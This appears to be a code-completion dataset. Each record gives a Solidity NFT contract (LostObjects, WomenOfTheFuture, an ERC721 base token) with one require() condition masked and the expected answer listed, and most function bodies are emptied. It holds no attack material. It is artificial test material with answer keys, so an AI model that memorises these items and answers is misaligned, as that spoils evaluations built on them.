_operationHash(msg.sender,quantity,maxTokens,nonce)==hash,"Hash comparison failed"
| 142,830 |
_operationHash(msg.sender,quantity,maxTokens,nonce)==hash
|
"Direct minting is disallowed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*
__ __ ____ ____
( ) / \ / ___)(_ _)
/ (_/\( O )\___ \ )(
\____/ \__/ (____/ (__)
Lost Objects All Rights Reserved 2022
Developed by ATOMICON.PRO ([email protected])
*/
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LostObjects is ERC721A, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
enum SALE_STAGE {
CLOSED,
CLAIM,
PUBLIC
}
uint16 constant public COLLECTION_SIZE = 1000;
uint32 constant public CLAIM_START_TIME = 1661875200;
uint32 constant public PUBLIC_SALE_START_TIME = 1662825600;
bytes8 constant private _hashSalt = 0x2d81b4cfe855c105;
address constant private _signerAddress = 0x3cAba7105Fcf129C02673650BE3E0284e087c9d3;
address[4] private _payoutWallets = [
0xAb8da4a15424E0A51B31317f3A69f76f1c4033c1,
0xEA469f5F95Ec73a9DCF37C729BCBd7dB5d4D1bC9,
0x7e3F983911eB2740Ba7F685907B68A0044bA9cFF,
0x9BB75389c8D1d6fDA48c6f8c1daE6Fd3F4bd5DEb
];
// Used nonces for minting signatures
mapping(uint64 => bool) private _usedNonces;
constructor() ERC721A("Lost Objects", "LOST") {}
// Claim tokens for free based on a backend whitelist
function claimMint(bytes32 hash, bytes memory signature, uint256 quantity, uint64 maxTokens, uint64 nonce)
external
{
SALE_STAGE saleStage = getSaleStage();
require(saleStage == SALE_STAGE.CLAIM, "SPF holders claim stage has not begun yet");
require(totalSupply() + quantity <= COLLECTION_SIZE, "Reached max supply");
require(numberMinted(msg.sender) + quantity <= maxTokens, "Exceeding claiming limit for this account");
require(_operationHash(msg.sender, quantity, maxTokens, nonce) == hash, "Hash comparison failed");
require(<FILL_ME>)
require(!_usedNonces[nonce], "Hash is already used");
_usedNonces[nonce] = true;
_safeMint(msg.sender, quantity);
}
// Mint tokens during the sales
function saleMint(bytes32 hash, bytes memory signature, uint64 nonce, uint256 quantity)
external
{
}
// Generate hash of current mint operation
function _operationHash(address buyer, uint256 quantity, uint64 maxTokens, uint64 nonce) internal view returns (bytes32) {
}
// Test whether a message was signed by a trusted address
function _isTrustedSigner(bytes32 hash, bytes memory signature) internal pure returns(bool) {
}
// Withdraw money in equal ammounts to a list of addresses
function withdrawMoney() external onlyOwner nonReentrant {
}
// Number of tokens minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
// Get current sale stage
function getSaleStage() public view returns (SALE_STAGE) {
}
// URI with contract metadata for opensea
function contractURI() public pure returns (string memory) {
}
// Starting index for the token IDs
function _startTokenId() internal view virtual override returns (uint256) {
}
// Token metadata folder/root URI
string private _baseTokenURI = "ipfs://bafybeidrzlw3tcnxd2hy3ntn3lobnoqxlohy77onmvipa32uc63u7ljspi/";
// Get base token URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base token URI
function setBaseURI(string calldata baseURI) external onlyOwner {
}
// Recieve any amount of ether
receive() external payable {}
}
|
_isTrustedSigner(hash,signature),"Direct minting is disallowed"
| 142,830 |
_isTrustedSigner(hash,signature)
|
"Hash comparison failed"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*
__ __ ____ ____
( ) / \ / ___)(_ _)
/ (_/\( O )\___ \ )(
\____/ \__/ (____/ (__)
Lost Objects All Rights Reserved 2022
Developed by ATOMICON.PRO ([email protected])
*/
import "./ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract LostObjects is ERC721A, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
enum SALE_STAGE {
CLOSED,
CLAIM,
PUBLIC
}
uint16 constant public COLLECTION_SIZE = 1000;
uint32 constant public CLAIM_START_TIME = 1661875200;
uint32 constant public PUBLIC_SALE_START_TIME = 1662825600;
bytes8 constant private _hashSalt = 0x2d81b4cfe855c105;
address constant private _signerAddress = 0x3cAba7105Fcf129C02673650BE3E0284e087c9d3;
address[4] private _payoutWallets = [
0xAb8da4a15424E0A51B31317f3A69f76f1c4033c1,
0xEA469f5F95Ec73a9DCF37C729BCBd7dB5d4D1bC9,
0x7e3F983911eB2740Ba7F685907B68A0044bA9cFF,
0x9BB75389c8D1d6fDA48c6f8c1daE6Fd3F4bd5DEb
];
// Used nonces for minting signatures
mapping(uint64 => bool) private _usedNonces;
constructor() ERC721A("Lost Objects", "LOST") {}
// Claim tokens for free based on a backend whitelist
function claimMint(bytes32 hash, bytes memory signature, uint256 quantity, uint64 maxTokens, uint64 nonce)
external
{
}
// Mint tokens during the sales
function saleMint(bytes32 hash, bytes memory signature, uint64 nonce, uint256 quantity)
external
{
SALE_STAGE saleStage = getSaleStage();
require(saleStage == SALE_STAGE.PUBLIC, "Sales have not begun yet");
require(totalSupply() + quantity <= COLLECTION_SIZE, "Reached max supply");
require(quantity <= 10, "Can't mint more then 10 tokens per transaction");
require(<FILL_ME>)
require(_isTrustedSigner(hash, signature), "Direct minting is disallowed");
require(!_usedNonces[nonce], "Hash is already used");
_usedNonces[nonce] = true;
_safeMint(msg.sender, quantity);
}
// Generate hash of current mint operation
function _operationHash(address buyer, uint256 quantity, uint64 maxTokens, uint64 nonce) internal view returns (bytes32) {
}
// Test whether a message was signed by a trusted address
function _isTrustedSigner(bytes32 hash, bytes memory signature) internal pure returns(bool) {
}
// Withdraw money in equal ammounts to a list of addresses
function withdrawMoney() external onlyOwner nonReentrant {
}
// Number of tokens minted by an address
function numberMinted(address owner) public view returns (uint256) {
}
// Get current sale stage
function getSaleStage() public view returns (SALE_STAGE) {
}
// URI with contract metadata for opensea
function contractURI() public pure returns (string memory) {
}
// Starting index for the token IDs
function _startTokenId() internal view virtual override returns (uint256) {
}
// Token metadata folder/root URI
string private _baseTokenURI = "ipfs://bafybeidrzlw3tcnxd2hy3ntn3lobnoqxlohy77onmvipa32uc63u7ljspi/";
// Get base token URI
function _baseURI() internal view virtual override returns (string memory) {
}
// Set base token URI
function setBaseURI(string calldata baseURI) external onlyOwner {
}
// Recieve any amount of ether
receive() external payable {}
}
|
_operationHash(msg.sender,quantity,COLLECTION_SIZE,nonce)==hash,"Hash comparison failed"
| 142,830 |
_operationHash(msg.sender,quantity,COLLECTION_SIZE,nonce)==hash
|
"Allowance not met"
|
// SPDX-License-Identifier: Unlicensed
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import 'erc721a/contracts/ERC721A.sol';
pragma solidity >=0.8.17 <0.9.0;
contract WomenOfTheFuture is ERC721A, Ownable, ReentrancyGuard{
using Strings for uint256;
// ================== Variables Start =======================
// merkletree root hash - p.s set it after deploy from scan
bytes32 public merkleRoot;
// reveal uri - p.s set it in contructor (if sniper proof, else put some dummy text and set the actual revealed uri just before reveal)
string internal uri;
string public uriExtension = ".json";
// hidden uri - replace it with yours
string public hiddenMetadataUri = "ipfs://bafkreib53l5dcygzke2ctx3vzjntan76ptdvirvzqddpygmbxu7exwetqu/hidden.json";
// eth prices - replace it with yours
uint256 public price = 0.035 ether;
uint256 public wlprice = 0 ether;
// usdc prices - replace it with yours | Please note 1 usdc = 100,000 points
uint256 public usdcprice = 75000000;
uint256 public usdcwlprice = 0;
// supply - replace it with yours
uint256 public supplyLimit = 1000;
uint256 public wlsupplyLimit = 130;
// max per tx - replace it with yours
uint256 public maxMintAmountPerTx = 5;
uint256 public wlmaxMintAmountPerTx = 1;
// max per wallet - replace it with yours
uint256 public maxLimitPerWallet = 50;
uint256 public wlmaxLimitPerWallet = 5;
// enabled
bool public whitelistSale = false;
bool public publicSale = false;
// reveal
bool public revealed = false;
// mapping to keep track
mapping(address => uint256) public wlMintCount;
mapping(address => uint256) public publicMintCount;
// total mint trackers
uint256 public publicMinted;
uint256 public wlMinted;
// usdc address and interface - mainnet address is 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
address usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
IERC20 usdcContract = IERC20(usdcAddress);
// Transfer lock
bool public transferLock= false;
// ================== Variables End =======================
// ================== Constructor Start =======================
// Token NAME and SYMBOL - Replace it with yours
constructor(
string memory _uri
) ERC721A("Women Of The Future", "WOTF") {
}
// ================== Constructor End =======================
// ================== Mint Functions Start =======================
// Minting with eth functions
function WlMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
}
function PublicMint(uint256 _mintAmount) public payable {
}
function OwnerMint(uint256 _mintAmount, address _receiver) public onlyOwner {
}
function MassAirdrop(address[] calldata receivers) external onlyOwner {
}
// Minting with usdc functions
function WlMintWithUSDC(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable {
// Verify wl requirements
require(whitelistSale, 'The WlSale is paused!');
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!');
// Normal requirements
require(_mintAmount > 0 && _mintAmount <= wlmaxMintAmountPerTx, 'Invalid mint amount!');
require(totalSupply() + _mintAmount <= wlsupplyLimit, 'Max supply exceeded!');
require(wlMintCount[msg.sender] + _mintAmount <= wlmaxLimitPerWallet, 'Max mint per wallet exceeded!');
// transfer usdc from minter to the contract
uint256 amountToSend = usdcwlprice * _mintAmount;
require(<FILL_ME>)
usdcContract.transferFrom(msg.sender,address(this), amountToSend);
// Mint
_safeMint(_msgSender(), _mintAmount);
// Mapping update
wlMintCount[msg.sender] += _mintAmount;
wlMinted += _mintAmount;
}
function PublicMintWithUSDC(uint256 _mintAmount) public payable {
}
// ================== Mint Functions End =======================
// ================== Set Functions Start =======================
// reveal
function setRevealed(bool _state) public onlyOwner {
}
// uri
function seturi(string memory _uri) public onlyOwner {
}
function seturiExtension(string memory _uriExtension) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
// sales toggle
function setpublicSale(bool _publicSale) public onlyOwner {
}
function setwlSale(bool _whitelistSale) public onlyOwner {
}
// hash set
function setwlMerkleRootHash(bytes32 _merkleRoot) public onlyOwner {
}
// max per tx
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setwlmaxMintAmountPerTx(uint256 _wlmaxMintAmountPerTx) public onlyOwner {
}
// pax per wallet
function setmaxLimitPerWallet(uint256 _maxLimitPerWallet) public onlyOwner {
}
function setwlmaxLimitPerWallet(uint256 _wlmaxLimitPerWallet) public onlyOwner {
}
// price
function setPrice(uint256 _price) public onlyOwner {
}
function setwlPrice(uint256 _wlprice) public onlyOwner {
}
function setusdcPrice(uint256 _usdcprice) public onlyOwner {
}
function setusdcwlPrice(uint256 _usdcwlprice) public onlyOwner {
}
// set usdc contract address
function setUSDCcontractAddress(address _address) public onlyOwner{
}
// supply limit
function setsupplyLimit(uint256 _supplyLimit) public onlyOwner {
}
function setwlsupplyLimit(uint256 _wlsupplyLimit) public onlyOwner {
}
// transfer lock
function setTransferLock(bool _state) public onlyOwner{
}
// ================== Set Functions End =======================
// ================== Withdraw Function Start =======================
function withdraw() public onlyOwner nonReentrant {
}
function withdrawUSDC() public onlyOwner nonReentrant {
}
// ================== Withdraw Function End=======================
// ================== Read Functions Start =======================
function tokensOfOwner(address owner) external view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/*
* @notice Block transfers.
*/
function _beforeTokenTransfers (
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual override {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
event ethReceived(address, uint);
receive() external payable {
}
// ================== Read Functions End =======================
}
|
usdcContract.allowance(msg.sender,address(this))>=amountToSend,"Allowance not met"
| 142,886 |
usdcContract.allowance(msg.sender,address(this))>=amountToSend
|
"Can not transfer"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "./Addresses.sol";
import "./Strings.sol";
import "./ERC721Receiver.sol";
import "./IERC721.sol";
abstract contract ERC721BasicToken is IERC721 {
using Address for address;
using Strings for uint256;
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0xf0b9e5ba;
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
string internal name_;
string internal symbol_;
string public baseTokenURI;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping of interface id to whether or not it's supported
mapping(bytes4 => bool) internal supportedInterfaces;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Mapping from token ID to owner
mapping(uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(<FILL_ME>)
_;
}
constructor(
string memory _name,
string memory _symbol,
string memory _baseTokenUri
) {
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
returns (string memory)
{
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function _approve(address _to, uint256 _tokenId) internal {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function _setApprovalForAll(address _to, bool _approved) internal {
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool)
{
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal canTransfer(_tokenId) {
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId)
internal
view
returns (bool)
{
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId)
internal
canTransfer(_tokenId)
{
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal returns (bool) {
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
}
function _registerInterface(bytes4 _interfaceId) internal {
}
}
|
isApprovedOrOwner(msg.sender,_tokenId),"Can not transfer"
| 142,916 |
isApprovedOrOwner(msg.sender,_tokenId)
|
"Safe Transfer failed"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "./Addresses.sol";
import "./Strings.sol";
import "./ERC721Receiver.sol";
import "./IERC721.sol";
abstract contract ERC721BasicToken is IERC721 {
using Address for address;
using Strings for uint256;
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0xf0b9e5ba;
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
string internal name_;
string internal symbol_;
string public baseTokenURI;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping of interface id to whether or not it's supported
mapping(bytes4 => bool) internal supportedInterfaces;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Mapping from token ID to owner
mapping(uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
}
constructor(
string memory _name,
string memory _symbol,
string memory _baseTokenUri
) {
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId)
public
view
virtual
returns (string memory)
{
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function _approve(address _to, uint256 _tokenId) internal {
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function _setApprovalForAll(address _to, bool _approved) internal {
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator)
public
view
returns (bool)
{
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) internal canTransfer(_tokenId) {
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal canTransfer(_tokenId) {
_transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(<FILL_ME>)
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId)
internal
view
returns (bool)
{
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId)
internal
canTransfer(_tokenId)
{
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) internal returns (bool) {
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index)
public
view
returns (uint256)
{
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
}
function _registerInterface(bytes4 _interfaceId) internal {
}
}
|
checkAndCallSafeTransfer(_from,_to,_tokenId,_data),"Safe Transfer failed"
| 142,916 |
checkAndCallSafeTransfer(_from,_to,_tokenId,_data)
|
"Asset does not belong to given owmer"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
import "./Addresses.sol";
import "./Strings.sol";
import "./ERC721Receiver.sol";
import "./IERC721.sol";
abstract contract ERC721BasicToken is IERC721 {
using Address for address;
using Strings for uint256;
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 private constant ERC721_RECEIVED = 0xf0b9e5ba;
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
string internal name_;
string internal symbol_;
string public baseTokenURI;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping of interface id to whether or not it's supported
mapping(bytes4 => bool) internal supportedInterfaces;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Mapping from token ID to owner
mapping(uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
}
/**
